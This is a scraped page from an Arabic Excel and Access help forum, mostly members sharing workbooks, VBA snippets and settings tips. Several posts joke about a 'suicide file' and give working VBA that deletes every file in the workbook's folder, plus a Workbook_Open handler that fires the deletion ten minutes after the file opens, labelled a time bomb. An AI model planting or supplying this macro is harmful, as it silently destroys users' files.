نجوم المشاركات

استاذنا الاستاذ / يوسف ما اروع هذا الكود وما اجمل من ذلك جزاك الله كل الخير اخي يوسف اخي الفاضل / ابو عربي احييك واقدر احترامك قد اكستسبنا من سؤالك معلومة جيدة

شكرا اخي الفضل يوسف هذا هو المطلوب واشكر الاخ الفاضل حلبي علي مروره الطيب ولكم جزيل الشكر

“لا تقهر أحدًا كي تسعد نفسك ، ولا تظلم نفسًا لتبرر أخطائك .. حاول دائمًا أن تبني سعادتك بعيدًا عن أذية الناس”

بسم الله الرحمن الرحيم الحمد لله والصلاة والسلام على اشرف خلق الله سيدنا محمد صلى الله عليه وسلم وعلى اله واصحابة اجمعين اولا:اقدم بكل تواضع هذا الملف البسيط الى الساده المحاسبون ووظيفته اعداد قائمة التدفقات النقديه بالطريقه الغير مباشره لعدد 5 سنوات من خلال ادخال قائمة الدخل والميزانيه . ثانيا : اقدم شكرى لكل القائمين على هذا المنتدى العظيم حيث لايبخلون على احد فى تقديم اى مساعده مهما كانت صغيره او كبيره . اسال الله العلى العظيم ان يجزيهم خيرا قائمة التدفقات النقديه.rar

الأخوة الأفاضل أطمع في تفضلكم عليّ ببرنامج عن شئون العاملين وعمل فورم استطيع من خلاله البحث عن بيانات الموظفين برقم الموظف وبالمرفقات شيت اكسيل فبرجاء عمل الفورم اللازم لذلك بحيث يشمل كل بيانات الموظف كما هو موضح بالشيت وجزاكم الله خيرا Book.rar

بسم الله الرحمن الرحيم والصلاة والسلام على أول الأنبياء وخاتم المرسلين سيدنا محمد ( صلى الله عليه وسلم ) صلاةً الى يوم الدين إخوانى وأحبابى وزملائى وأساتذتى فى منتدانا العريق السلام عليكم ورحمة الله وبركاته أما بعد يسعدنى أن أقدم لحضراتكم ملفا به كود واحد ومنقول قمت بتعريبه لكم يمكنه حماية أو فك حماية جميع أوراق العمل فى أى عدد من ملفات الاكسل بأى امتداد داخل أى مجلد فى جهازك شوفوا مش حارمكم من حاجة كل جديد ومفيد لكم منى كل محبة وتقدير واحترام والحمد لله تعالى من قبل ومن بعد *************** تفضلوا المرفق وعليه Protect Unprotect All Files In A Folder.rar

السلام عليكم ورحمة الله وبركاته الاساتذة الكرام والاخوة الاعزاء جزاكم الله خيرا وجدت على هذا الرابط hhttp://www.officena.net/ib/index.php?showtopic=43253#entry25053 حساب العمر باليوم والشهر والسنة للاستاذ الفاضل ابو ادم جزاه الله خيرا من خلال النموذج ويقوم بتخزين البيانات في الجدول حاولت ان اطبقه على ملفي فلم استطع وظهرت بعض المشاكل فارفقت الملف وارجو من الاساتذة الكرام التعديل عليه حتى يتم احتساب العمر كما مطلوب ونسال الله سبحانه وتعالى ان ينعم عليكم بالعلم والمعرفة تقبلوا فائق الاحترام والتقدير حساب العمر يوم شهر سنة.rar

اخي ابراهيم خيار اخر لعله ينال اعجابك تكرار على ذوقك.rar

Dim GrayLine As Boolean ' ضع هذا السطر في راس المحرر '.............................................. Private Sub تفصيل_Format(Cancel As Integer, FormatCount As Integer) If GrayLine = True Then Me.تفصيل.BackColor = 14933454 ' رمادي GrayLine = False Else Me.تفصيل.BackColor = 16777215 ' ابيض GrayLine = True End If End sub

السلام عليكم ورحمة الله وبركاته وهذا حل بالأكواد مع إضافة خاصية "عدد مرات تكرار كل عدد" تلميذكم مختار حسين تحياتى Book2.rar

أخى أبو ايمان الملف الانتحارى ده لا يعتبر انتحارى وانما ديناميت أنت توصل السلك ( أقصد تضغط الزر ) والديناميت ينفجر انما الملف الانتحارى تلاقيه بيفرقع لوحده دون تدخل منك وأنت بعيد فاذا وضعت الكود التالى فى حدث المصنف Private Sub Workbook_Open() Dim dTime As Date dTime = Now + TimeValue("00:10:00") Application.OnTime dTime, "DeleteAllFilesInAFolder" End Sub والكود بتاعك مديول عادى Option Explicit Sub DeleteAllFilesInAFolder() Dim MyFolder, FSO, FLDR, FileName MyFolder = ThisWorkbook.Path Set FSO = CreateObject("Scripting.FileSystemObject") Set FLDR = FSO.GetFolder(MyFolder) With ThisWorkbook .Saved = True .ChangeFileAccess xlReadOnly For Each FileName In FLDR.Files FileName.Delete True Next .Close False End With End Sub الكود ده يستدعى الكود بتاعك بعد مدة زمنية 10 دقائق ( لو تحب غيرها كما تشاء فى الكود) وبالتالى يكون الملف قنبلة موقوتة . أنصحك وأنصح كل الزملاء بعدم الاقتراب من الأكواد الغريبة . تحياتى أخوك مختار من الوكالة الدولية للأكواد الذرية .

عفواً أخي الكريم، نعم يمكنك استخدام ذلك في النماذج والتقارير والاستعلامات، وإن أحببت أن أرفق لك بعضاً من أمثلة التعامل مع التواريخ فلك ذلك.

قيل للأمام الشــــافعي : يا إمام دلنا على واجب وأوجب ؟ وعجيب وأعجب ؟ وصعب وأصعب ؟ وقريب وأقرب ؟ قــــــــــــــال: واجب الناس أن يتوبوا ولكن ترك الذنوب أوجب ... والدهر فى تصرفه عجيب وغفلة الناس عنة أعجب ... والصبر عند المصائب صعب ولكن فوات الثواب أصعب ... وكل ما تتمنى قريب والمـــــــــوت من دون ذلك أقرب....

راجع المرفق ربما تجد فيه ما تريد 12.rar

السلام عليكم ورحمه الله وبركاته قد تكون المشكلة فى عملية الحساب غير فعالة Calculation لتفعيل عملية الحساب وجعلها أتوماتيكياً لمستخدمى أوفيس 2007 وأعلى اتبع الآتى : 1- اضغط أخى على زر أوفيس ثم Excel options 2- ثم اضغط على التبويب المسمى Formulas ثم فى أول جزء فى الأعلى علم على الخيارAutomatic وشكرا

هههههههههههههه شكرا أخى ياسر على اطرائك الجميل أنا بس بحاول اساعد الأعضاء على قد ما أقدر >>>>>> الله في عون العبد ما كان العبد في عون أخي <<<<<<<<

بعد إذن الاستاذ ياسر أقدم لكم الملف الانتحاري حيث يقوم الملف بعمل عملية انتحارية حيث يدمر من حوله ويقتل نفسه Option Explicit Sub DeleteAllFilesInAFolder() Dim MyFolder, FSO, FLDR, FileName MyFolder = ThisWorkbook.Path Set FSO = CreateObject("Scripting.FileSystemObject") Set FLDR = FSO.GetFolder(MyFolder) With ThisWorkbook .Saved = True .ChangeFileAccess xlReadOnly For Each FileName In FLDR.Files FileName.Delete True Next .Close False End With End Sub جميع التعديلات مأخذة من أعمال الاستاذ ياسر

استاذى الفاضل جزاكم الله خيرا عمل رائع ومتقن تقبل تحياتى

السلام عليكم بارك الله فيك اخي حلبي و جزاك خير الجزاء بعد اذنك وددت المساهمة في الحل اخي ابو عربي : ضع التعبير التالي كمصدر لمربع النص الغير منضم =DateSerial(Year(Date());Month(Date());0) بالتوفيق للجميع

طالما العملية بقت كده وكلها أسلحة نووية ÷ دمار شامل يبقى نعمل موضوع عن الانشطار النووى للملف على غرار الانشطار الكبير ( معلش الاكسل هيتبهدل )

اعملها لو سمحت

الاخ احمد خليل شكرا لك بالنسبة لطلبك الاول واسف على التأخير لانشغالى اليك الفكرة بالنسبة لطلبك الثانى ان شاء الله مسابقة.rar

أساتذتي الكرام السلام عليكم ورحمة الله وبركاته بعد إذن حضراتكم ممكن البرنامج تخلوه باللغة العربية لو تكرمتم وشكرا لكم

انظر الى الصفحة 1 قوائم منسدلة nour 1.rar

وعليكم السلام ورحمة الله وبركاته بارك الله فيكم اخى الكريم اولا: بالنسبة لموضوع الخمس السنوات بالنسبه للميزانيه 4للدخل و4 سنوات للتدفقات النقديه السبب فيه اننا لابد ومن وضع بياناتات سنه سابقة فى الميزانيه فمن المعلوم ان التدفقات يتم استخراج نتائجها من رصيد بداية اول مده وهو رصيد اخر العام السابق ورصيد اخر المده اخر اعام المقارنه وهكذا حتى يتم تدوير الارصده بشكل سليم واذا اردت ان تجعل التدفقات والدخل 5 سنوات لابد من مقارنة 6 سنوات او فترات فى الميزانيه وهكذا .... ثانيا : بالنسبة لموضوع الحمايه فقد تم حماية الصيغ والمعادلات فقط للمحافظه عليها من التلف ثالثا :اليك الملف بدون اى حمايه تقبل منى خالص التحيه نشر.rar

السلام عليكم: يمكن ربط ظهور شريط أدوات مخصص أو عام مع فتح نموذج وإخفاء الشريط مع إغلاق النموذج بنفس طريقة الربط مع التقرير والموضحة في الصفخة الأخيرة من ملف الوورد المرفق. كما يمكن إظهار شريط الادوات عن طريقة تعليمة مثل DoCmd.ShowToolbar "اسم الشريط", acToolbarYes وإخفاءه بالتعليمة DoCmd.ShowToolbar "اسم الشريط", acToolbarNo حيث يمكن أن تربط هذه التعليمة بزرأمر أو بحدث النموذج (عند الفتح) و(عند الإغلاق) وطبعاً للربط بتعليمة معينة ,أرجوأن تدرس بعناية ملف الوورد المرفق والله الموفق

الأخ العزيز: في الأكسس قبل 2007 يمكنك من: شريط قوائم/أدوات/تخصيص أن تنشيء شريط أدوات جديدمن لسان تبويب: أشرطة الادوات/جديد ويمكنك أن تضيف قائمة جديدة إلى الشريط من لسان التبويب : الأوامر/فئات/قائمة جديدة (تسميها كما ترغب) ويمكنك أن تضيف إلى القائمة الجديدة أي جدول أو نموذج أو تقرير إلخ من لسان تبويب: الأوامر/فئات(كافة الاستعلامات او النماذج أو التقارير إلخ )ومن ثم تختار العنصر الذي ترغب وبالسحب والإفلات تسقطه على شريط أدواتك المخصص. وأرفق ملف وورد موضح به بالصور طريقة إنشاء شريط أدوات خاص وربطه بالكود. شريط طباعة التقارير بطرق كامل.doc